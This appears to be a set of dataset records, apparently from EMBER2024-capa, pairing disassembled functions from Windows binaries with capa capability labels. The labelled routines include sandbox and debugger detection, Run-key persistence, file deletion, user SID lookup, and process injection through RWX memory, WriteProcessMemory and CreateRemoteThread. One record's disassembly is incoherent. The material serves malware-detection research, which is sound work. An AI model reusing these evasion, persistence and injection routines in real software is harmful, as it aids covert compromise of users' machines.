joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4052ec
Capabilities:
Check for sandbox and av modules

Disassembly:
push ebx
xor ebx, ebx
push 0x405304
call sub.kernel32.dll_GetModuleHandleA_1
test eax, eax
je 0x4052ff
mov bl, 1
mov eax, ebx
pop ebx
ret

Function at 0x405310
Capabilities:
Check for sandbox and av modules

Disassembly:
push ebx
xor ebx, ebx
push 0x405328
call sub.kernel32.dll_GetModuleHandleA_1
test eax, eax
je 0x405323
mov bl, 1
mov eax, ebx
pop ebx
ret

Function at 0x405334
Capabilities:
Query or enumerate registry value

Disassembly:
push ebx
add esp, 0xfffffef4
xor ebx, ebx
push esp
push 1
push 0
push 0x40539c
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x405387
mov dword [esp + 4], 0x101
lea eax, [esp + 4]
push eax
lea eax, [esp + 0xc]
push eax
push 0
push 0
push 0x4053c8
mov eax, dword [esp + 0x14]
push eax
call sub.advapi32.dll_RegQueryValueExA
lea eax, [esp + 8]
cmp eax, 0x4053d4
jne 0x405387
mov bl, 1
mov eax, dword [esp]
push eax
call sub.advapi32.dll_RegCloseKey
mov eax, ebx
add esp, 0x10c
pop ebx
ret

Function at 0x4053ec
Capabilities:
Query or enumerate registry value

Disassembly:
push ebx
add esp, 0xfffffef4
xor ebx, ebx
push esp
push 1
push 0
push 0x405454
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x40543f
mov dword [esp + 4], 0x101
lea eax, [esp + 4]
push eax
lea eax, [esp + 0xc]
push eax
push 0
push 0
push 0x405480
mov eax, dword [esp + 0x14]
push eax
call sub.advapi32.dll_RegQueryValueExA
lea eax, [esp + 8]
cmp eax, 0x40548c
jne 0x40543f
mov bl, 1
mov eax, dword [esp]
push eax
call sub.advapi32.dll_RegCloseKey
mov eax, ebx
add esp, 0x10c
pop ebx
ret

Function at 0x4054a4
Capabilities:
Query or enumerate registry value

Disassembly:
push ebx
add esp, 0xfffffef4
xor ebx, ebx
push esp
push 1
push 0
push 0x40550c
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x4054f7
mov dword [esp + 4], 0x101
lea eax, [esp + 4]
push eax
lea eax, [esp + 0xc]
push eax
push 0
push 0
push 0x405538
mov eax, dword [esp + 0x14]
push eax
call sub.advapi32.dll_RegQueryValueExA
lea eax, [esp + 8]
cmp eax, 0x405544
jne 0x4054f7
mov bl, 1
mov eax, dword [esp]
push eax
call sub.advapi32.dll_RegCloseKey
mov eax, ebx
add esp, 0x10c
pop ebx
ret

Function at 0x405684
Capabilities:
Check for peb beingdebugged flag

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
mov eax, dword fs:[0x30]
movzx eax, byte [eax + 2]
or al, al
je 0x40569b
jne 0x4056a2
mov dword [ebp - 4], 1
mov dword [ebp - 8], 1
cmp dword [ebp - 8], 1
jne 0x4056b1
mov dl, 1
cmp dword [ebp - 4], 1
jne 0x4056b9
xor edx, edx
mov eax, edx
pop ecx
pop ecx
pop ebp
ret

Function at 0x4056dc
Capabilities:
Check for peb beingdebugged flag

Disassembly:
push ebp
mov ebp, esp
push 0
push ebx
xor eax, eax
push ebp
push 0x405732
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
mov edx, 0x405748
call fcn.00401b58
push 0
push dword [ebp - 4]
mov eax, dword fs:[0x30]
movzx eax, byte [eax + 2]
or al, al
jne 0x405715
xor eax, eax
leave
ret
mov eax, 1
leave
ret
Function at 0x405770
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
add dword [eax + 0x20], 0x2000
ret

Function at 0x405a28
Capabilities:
Delete file
Get file attributes
Set file attributes

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00401f38
xor eax, eax
push ebp
push 0x405ac7
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 5], 0
mov eax, dword [ebp - 4]
call fcn.00405d04
test al, al
je 0x405ab1
xor eax, eax
push ebp
push 0x405aa7
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.00401f48
mov esi, eax
push esi
call sub.kernel32.dll_GetFileAttributesA
mov ebx, eax
and bl, 2
and bl, 1
and bl, 4
xor eax, eax
mov al, bl
push eax
push esi
call sub.kernel32.dll_SetFileAttributesA
push esi
call sub.kernel32.dll_DeleteFileA
cmp eax, 1
sbb eax, eax
inc eax
mov byte [ebp - 5], al
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x405ab1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x405ace
lea eax, [ebp - 4]
call fcn.00401ac0
ret

Function at 0x405b30
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push ebx
push esi
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x405b90
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
mov edx, 0x405ba8
call fcn.00401b58
lea eax, [ebp - 8]
mov edx, ebx
call fcn.00401b58
push 0
push esi
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 4]
mov eax, 0x80000001
call fcn.00406088
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x405b97
lea eax, [ebp - 8]
mov edx, 2
call fcn.00401ae4
ret

Function at 0x405c4c
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov esi, eax
mov eax, dword [ebp - 4]
call fcn.00401f38
mov eax, dword [ebp - 8]
call fcn.00401f38
mov eax, dword [ebp + 8]
call fcn.00401f38
xor eax, eax
push ebp
push 0x405cf1
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
call fcn.00401f48
push eax
push esi
call sub.advapi32.dll_RegCreateKeyA
mov eax, dword [ebp + 8]
call fcn.00401d50
push eax
mov eax, dword [ebp + 8]
call fcn.00401f48
push eax
push 2
push 0
mov eax, dword [ebp - 8]
call fcn.00401f48
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegSetValueExA
test eax, eax
jne 0x405cc5
mov bl, 1
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x405cf8
lea eax, [ebp - 8]
mov edx, 2
call fcn.00401ae4
lea eax, [ebp + 8]
call fcn.00401ac0
ret
Function at 0x405d70
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
mov esi, ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00401f38
mov eax, dword [ebp - 8]
call fcn.00401f38
xor eax, eax
push ebp
push 0x405e0a
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0
push 2
push 0
push 2
push 0x40000000
mov eax, dword [ebp - 4]
call fcn.00401f48
push eax
call sub.kernel32.dll_CreateFileA
mov ebx, eax
cmp ebx, 0xffffffff
je 0x405def
cmp esi, 0xffffffff
jne 0x405dd3
push 0
push 0
push 0
push ebx
call sub.kernel32.dll_SetFilePointer
push 0
lea eax, [ebp - 0xc]
push eax
push esi
lea eax, [ebp - 8]
call fcn.00401f9c
push eax
push ebx
call sub.kernel32.dll_WriteFile
push ebx
call sub.kernel32.dll_CloseHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x405e11
lea eax, [ebp - 8]
mov edx, 2
call fcn.00401ae4
ret

Function at 0x406088
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
push esi
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov esi, eax
mov ebx, dword [ebp + 8]
mov eax, dword [ebp - 4]
call fcn.00401f38
mov eax, dword [ebp - 8]
call fcn.00401f38
mov eax, dword [ebp + 0xc]
call fcn.00401f38
xor eax, eax
push ebp
push 0x406167
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, ebx
mov edx, dword [ebp + 0xc]
call fcn.00401b14
lea eax, [ebp - 0xc]
push eax
push 1
push 0
mov eax, dword [ebp - 4]
call fcn.00401f48
push eax
push esi
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x406144
lea eax, [ebp - 0x14]
push eax
push 0
lea eax, [ebp - 0x10]
push eax
push 0
mov eax, dword [ebp - 8]
call fcn.00401f48
mov esi, eax
push esi
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
jne 0x40613b
mov eax, ebx
mov edx, dword [ebp - 0x14]
call fcn.00402074
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebx]
call fcn.00401f48
push eax
lea eax, [ebp - 0x10]
push eax
push 0
push esi
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExA
mov edx, dword [ebp - 0x14]
dec edx
mov eax, ebx
call fcn.00402074
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40616e
lea eax, [ebp - 8]
mov edx, 2
call fcn.00401ae4
lea eax, [ebp + 0xc]
call fcn.00401ac0
ret

Function at 0x406660
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebx
mov ebx, eax
mov eax, ebx
call fcn.00401f48
push eax
call sub.kernel32.dll_GetFileAttributesA
cmp eax, 0xffffffff
je 0x406679
test al, 0x10
jne 0x40667d
xor eax, eax
pop ebx
ret
mov al, 1
pop ebx
ret
Function at 0x4068b4
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push 0
push 0
push 0
push ebx
push esi
mov ebx, ecx
mov esi, edx
xor eax, eax
push ebp
push 0x40698a
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
lea eax, [ebp - 4]
push eax
push 0
push 2
push 0
push 0
push 0
lea eax, [ebp - 0xc]
mov edx, esi
call fcn.00401cac
mov ecx, dword [ebp - 0xc]
lea eax, [ebp - 8]
mov edx, 0x4069a0
call fcn.00401d9c
mov eax, dword [ebp - 8]
call fcn.00401f48
push eax
push 0x80000002
call sub.advapi32.dll_RegCreateKeyExA
lea eax, [ebp - 0x10]
mov edx, ebx
call fcn.00401cac
mov eax, dword [ebp - 0x10]
call fcn.00401d50
mov esi, eax
mov eax, dword [0x40d090]
call fcn.00401d50
add esi, eax
push esi
lea eax, [ebp - 0x14]
mov edx, ebx
call fcn.00401cac
lea eax, [ebp - 0x14]
mov edx, dword [0x40d090]
call fcn.00401d58
mov eax, dword [ebp - 0x14]
call fcn.00401f48
push eax
push 1
push 0
push 0x4069d8
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegSetValueExA
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x406991
lea eax, [ebp - 0x14]
mov edx, 4
call fcn.00401ae4
ret

Function at 0x4069e4
Capabilities:
Delete registry key

Disassembly:
push ebx
push ecx
mov ebx, edx
push esp
push 0x20006
push 0
push 0x406a18
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
push ebx
mov eax, dword [esp + 4]
push eax
call sub.advapi32.dll_RegDeleteKeyA
mov eax, dword [esp]
push eax
call sub.advapi32.dll_RegCloseKey
pop edx
pop ebx
ret
Function at 0x407cac
Capabilities:
Get session user name
Get user security identifier

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffde8
push ebx
xor edx, edx
mov dword [ebp - 4], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x407d81
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, ebx
call fcn.00401ac0
lea eax, [ebp - 4]
mov edx, pe_nt_image_headers32
call fcn.00402074
mov dword [ebp - 8], 0xff
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
call fcn.00401f9c
push eax
call sub.advapi32.dll_GetUserNameA
test eax, eax
je 0x407d6b
mov dword [ebp - 0xc], 0xff
mov dword [ebp - 0x10], 0xff
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x218]
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x118]
push eax
lea eax, [ebp - 4]
call fcn.00401f9c
push eax
push 0
call sub.advapi32.dll_LookupAccountNameA
test eax, eax
je 0x407d6b
lea eax, [ebp - 0x118]
push eax
call sub.advapi32.dll_IsValidSid
test eax, eax
je 0x407d6b
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x118]
push eax
call sub.advapi32.dll_ConvertSidToStringSidA
mov eax, ebx
mov edx, dword [ebp - 0x18]
call fcn.00401cac
mov eax, dword [ebp - 0x18]
push eax
call sub.kernel32.dll_GlobalFree
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x407d88
lea eax, [ebp - 4]
call fcn.00401ac0
ret
Function at 0x408af8
Capabilities:
Hash data using sha1
Hash data using sha1 via wincrypt
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd8
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0xc], ecx
mov esi, edx
mov edi, eax
xor eax, eax
push ebp
push 0x408c74
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
mov eax, esi
call fcn.00401ac0
push 0
push 1
push 0
push 0
lea eax, [ebp - 4]
push eax
call sub.advapi32.dll_CryptAcquireContextA
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x8004
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_CryptCreateHash
test eax, eax
je 0x408c40
push 0
lea eax, [ebp - 0x18]
mov edx, edi
call fcn.00402218
mov eax, dword [ebp - 0x18]
call fcn.00402274
inc eax
add eax, eax
push eax
push edi
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_CryptHashData
test eax, eax
je 0x408c40
mov dword [ebp - 0x10], 0x14
push 0x14
lea eax, [ebp - 0xc]
mov ecx, 1
mov edx, dword [0x408ad4]
call fcn.00402fbc
add esp, 4
push 0
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 0xc]
push eax
push 2
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_CryptGetHashParam
test eax, eax
je 0x408c40
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_CryptDestroyHash
push 0
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_CryptReleaseContext
mov eax, dword [ebp - 0x10]
dec eax
test eax, eax
jl 0x408c18
inc eax
mov dword [ebp - 0x14], eax
xor edi, edi
mov eax, dword [ebp - 0xc]
add bl, byte [eax + edi]
lea eax, [ebp - 0x1c]
push eax
mov eax, dword [ebp - 0xc]
movzx eax, byte [eax + edi]
mov dword [ebp - 0x24], eax
mov byte [ebp - 0x20], 0
lea edx, [ebp - 0x24]
xor ecx, ecx
mov eax, 0x408c8c
call fcn.004089c8
mov edx, dword [ebp - 0x1c]
mov eax, esi
call fcn.00401d58
inc edi
dec dword [ebp - 0x14]
jne 0x408be1
lea eax, [ebp - 0x28]
push eax
xor eax, eax
mov al, bl
mov dword [ebp - 0x24], eax
mov byte [ebp - 0x20], 0
lea edx, [ebp - 0x24]
xor ecx, ecx
mov eax, 0x408c8c
call fcn.004089c8
mov edx, dword [ebp - 0x28]
mov eax, esi
call fcn.00401d58
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x408c7b
lea eax, [ebp - 0x28]
call fcn.00401ac0
lea eax, [ebp - 0x1c]
call fcn.00401ac0
lea eax, [ebp - 0x18]
call fcn.00402108
lea eax, [ebp - 0xc]
mov edx, dword [0x408ad4]
call fcn.00402fc8
ret
Function at 0x40aebc
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffff8
mov edi, ecx
mov ebp, edx
mov esi, eax
push 0x40
push 0x3000
push edi
push 0
push esi
call sub.kernel32.dll_VirtualAllocEx
mov ebx, eax
lea eax, [esp + 4]
push eax
push 0x40
push edi
push ebx
push esi
call sub.kernel32.dll_VirtualProtectEx
test ebx, ebx
je 0x40aefe
push esp
push edi
push ebp
push ebx
push esi
call sub.kernel32.dll_WriteProcessMemory
test eax, eax
jne 0x40aefe
xor ebx, ebx
mov eax, ebx
pop ecx
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x40af08
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffec
mov dword [esp + 4], ecx
mov dword [esp], edx
mov ebx, eax
xor eax, eax
mov dword [esp + 8], eax
push 0
call sub.kernel32.dll_GetModuleHandleA_1
mov ecx, eax
mov eax, ecx
xor edx, edx
push edx
push eax
mov eax, dword [ecx + 0x3c]
cdq
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
mov esi, dword [eax + 0x50]
mov edi, dword [eax + 0x34]
push 0x8000
push 0
push edi
push ebx
call sub.kernel32.dll_VirtualFreeEx
push 0x40
push 0x3000
push esi
push edi
push ebx
call sub.kernel32.dll_VirtualAllocEx
mov ebp, eax
test ebp, ebp
je 0x40afa4
lea eax, [esp + 0xc]
push eax
push esi
push 0
call sub.kernel32.dll_GetModuleHandleA_1
push eax
push edi
push ebx
call sub.kernel32.dll_WriteProcessMemory
cmp esi, dword [esp + 0xc]
ja 0x40afa4
lea eax, [esp + 0x10]
push eax
push 0
mov eax, dword [esp + 0xc]
push eax
mov eax, dword [esp + 0xc]
push eax
push 0
push 0
push ebx
call sub.kernel32.dll_CreateRemoteThread
push ebx
call sub.kernel32.dll_CloseHandle
mov dword [esp + 8], ebp
mov eax, dword [esp + 8]
add esp, 0x14
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x40afb0
Capabilities:
Find taskbar

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
xor eax, eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
xor eax, eax
push ebp
push 0x40b062
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 0xc]
xor eax, eax
call fcn.004013a4
mov eax, dword [ebp - 0xc]
call fcn.00401f48
mov esi, eax
lea eax, [ebp - 4]
push eax
push 0
push 0x40b070
call sub.user32.dll_FindWindowA
push eax
call sub.user32.dll_GetWindowThreadProcessId
mov eax, dword [ebp - 4]
push eax
push 0
push 0x1f0fff
call sub.kernel32.dll_OpenProcess
mov ebx, eax
lea eax, [ebp - 0x10]
mov edx, esi
call fcn.00401cac
mov eax, dword [ebp - 0x10]
call fcn.00401d50
mov ecx, eax
mov edx, esi
mov eax, ebx
call fcn.0040aebc
mov dword [ebp - 8], eax
lea edx, [ebp - 8]
mov ecx, 4
mov eax, ebx
call fcn.0040aebc
mov edx, 0x40ae94
mov ecx, eax
mov eax, ebx
call fcn.0040af08
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40b069
lea eax, [ebp - 0x10]
mov edx, 2
call fcn.00401ae4
ret
Function at 0x40b7fc
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffa4
push ebx
push esi
xor eax, eax
mov dword [ebp - 0x5c], eax
xor eax, eax
push ebp
push 0x40b8fa
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, dword [0x40d204]
mov edx, dword [edx]
lea eax, [ebp - 0x5c]
mov ecx, 0x40b910
call fcn.00401d9c
mov eax, dword [ebp - 0x5c]
call fcn.00401f48
push eax
push 0
push 0
call fcn.00403568
mov ebx, eax
call sub.kernel32.dll_GetLastError
cmp eax, 0xb7
jne 0x40b857
push ebx
call sub.kernel32.dll_CloseHandle
jmp 0x40b8e4
push ebx
call sub.kernel32.dll_CloseHandle
mov eax, dword [0x40d1cc]
call fcn.00401f9c
mov esi, eax
lea eax, [ebp - 4]
push eax
push 0
push 0x40b91c
call sub.user32.dll_FindWindowA
push eax
call sub.user32.dll_GetWindowThreadProcessId
mov eax, dword [ebp - 4]
push eax
push 0
push 0x1f0fff
call sub.kernel32.dll_OpenProcess
mov ebx, eax
mov edx, esi
mov eax, ebx
call fcn.004040f4
test al, al
jne 0x40b8e4
lea eax, [ebp - 0x58]
mov edx, 0x44
call fcn.00403738
lea eax, [ebp - 0x14]
mov edx, 0x10
call fcn.00403738
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x58]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
push 0x40b92c
push 0
call sub.kernel32.dll_CreateProcessA
mov ebx, dword [ebp - 0x14]
mov edx, esi
mov eax, ebx
call fcn.004040f4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40b901
lea eax, [ebp - 0x5c]
call fcn.00401ac0
ret
Function at 0x488185
Capabilities:
Encode data using xor

Disassembly:
cwde
or byte [esi - 0x5b], cl
fld dword [edi - 0x1a]
push edi
out 0x57, al
lodsd eax, dword [esi]
xor al, 0xf7
daa
push esp
adc dl, cl
jge 0x48818b
inc ebp
xor eax, 0xe9ddd140
retf

Function at 0x62a085
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x6303a8
cmp edx, dword [eax]
je 0x62a0a7
add eax, 8
inc ecx
cmp eax, 0x630438
jl 0x62a098
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x6303a8]
jne 0x62a1d5
mov eax, dword [0x637d30]
cmp eax, 1
je 0x62a1af
test eax, eax
jne 0x62a0d8
cmp dword [0x6302d4], 1
je 0x62a1af
cmp edx, 0xfc
je 0x62a1d5
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x62a10f
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.0062aa70
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.0062af00
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x62a152
lea eax, [ebp - 0x1a4]
push eax
call fcn.0062af00
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x62f494
push edi
call fcn.0062cdd0
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.0062aa70
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.0062aa80
lea eax, [ebp - 0xa0]
push 0x62f474
push eax
call fcn.0062aa80
push dword [esi + 0x6303ac]
lea eax, [ebp - 0xa0]
push eax
call fcn.0062aa80
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.0062cd44
add esp, 0x2c
pop edi
jmp 0x62a1d5
lea eax, [ebp + 8]
lea esi, [esi + 0x6303ac]
push 0
push eax
push dword [esi]
call fcn.0062af00
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x100084b0
Capabilities:
Get storage device properties

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x37c8
call fcn.10074f30
mov eax, dword [0x100a700c]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push dword [ecx]
lea eax, [ebp - 0x108]
xor esi, esi
push str..PhysicalDrive_d
push eax
call fcn.10008d80
add esp, 0xc
lea eax, [ebp - 0x108]
push esi
push esi
push 3
push esi
push 3
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x100086d3
push 0x2710
lea eax, [ebp - 0x37b8]
mov dword [ebp - 0x37bc], esi
push esi
push eax
mov dword [ebp - 0x37c0], esi
mov dword [ebp - 0x37c8], esi
mov dword [ebp - 0x37c4], esi
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0x37bc]
push esi
push eax
push 0x2710
lea eax, [ebp - 0x37b8]
push eax
push 0xc
lea eax, [ebp - 0x37c8]
push eax
push 0x2d1400
push edi
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
je 0x100086c6
mov edx, dword [ebp - 0x37ac]
lea eax, [ebp - 0x8d8]
push eax
push esi
lea ecx, [ebp - 0x37b8]
call fcn.10008320
mov edx, dword [ebp - 0x37a8]
lea eax, [ebp - 0xcc0]
push eax
push esi
lea ecx, [ebp - 0x37b8]
call fcn.10008320
mov edx, dword [ebp - 0x37a4]
lea eax, [ebp - 0x10a8]
push eax
push esi
lea ecx, [ebp - 0x37b8]
call fcn.10008320
mov edx, dword [ebp - 0x37a0]
lea eax, [ebp - 0x4f0]
push eax
push 1
lea ecx, [ebp - 0x37b8]
call fcn.10008320
add esp, 0x20
cmp byte [0x100a9e88], 0
jne 0x10008689
movsx eax, byte [ebp - 0x4f0]
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_isalnum]
add esp, 4
test eax, eax
jne 0x10008602
movsx eax, byte [ebp - 0x4dd]
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_isalnum]
add esp, 4
test eax, eax
je 0x10008689
xor ecx, ecx
nop dword [eax]
nop dword [eax + eax]
mov al, byte [ebp + ecx - 0x8d8]
lea ecx, [ecx + 1]
mov byte [ecx + 0x100a9a87], al
test al, al
jne 0x10008610
xor ecx, ecx
nop word [eax + eax]
mov al, byte [ebp + ecx - 0xcc0]
lea ecx, [ecx + 1]
mov byte [ecx + 0x100a9287], al
test al, al
jne 0x10008630
xor ecx, ecx
nop word [eax + eax]
mov al, byte [ebp + ecx - 0x4f0]
lea ecx, [ecx + 1]
mov byte [ecx + 0x100a9e87], al
test al, al
jne 0x10008650
xor ecx, ecx
nop word [eax + eax]
mov al, byte [ebp + ecx - 0x10a8]
lea ecx, [ecx + 1]
mov byte [ecx + 0x100a9687], al
test al, al
jne 0x10008670
mov esi, 1
push 0x2710
lea eax, [ebp - 0x37b8]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0x37bc]
push 0
push eax
push 0x2710
lea eax, [ebp - 0x37b8]
push eax
push 0
push 0
push 0x700a0
push edi
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
jmp 0x100086cc
call dword [sym.imp.KERNEL32.dll_GetLastError]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
xor ecx, ebp
pop esi
call fcn.10073b99
mov esp, ebp
pop ebp
ret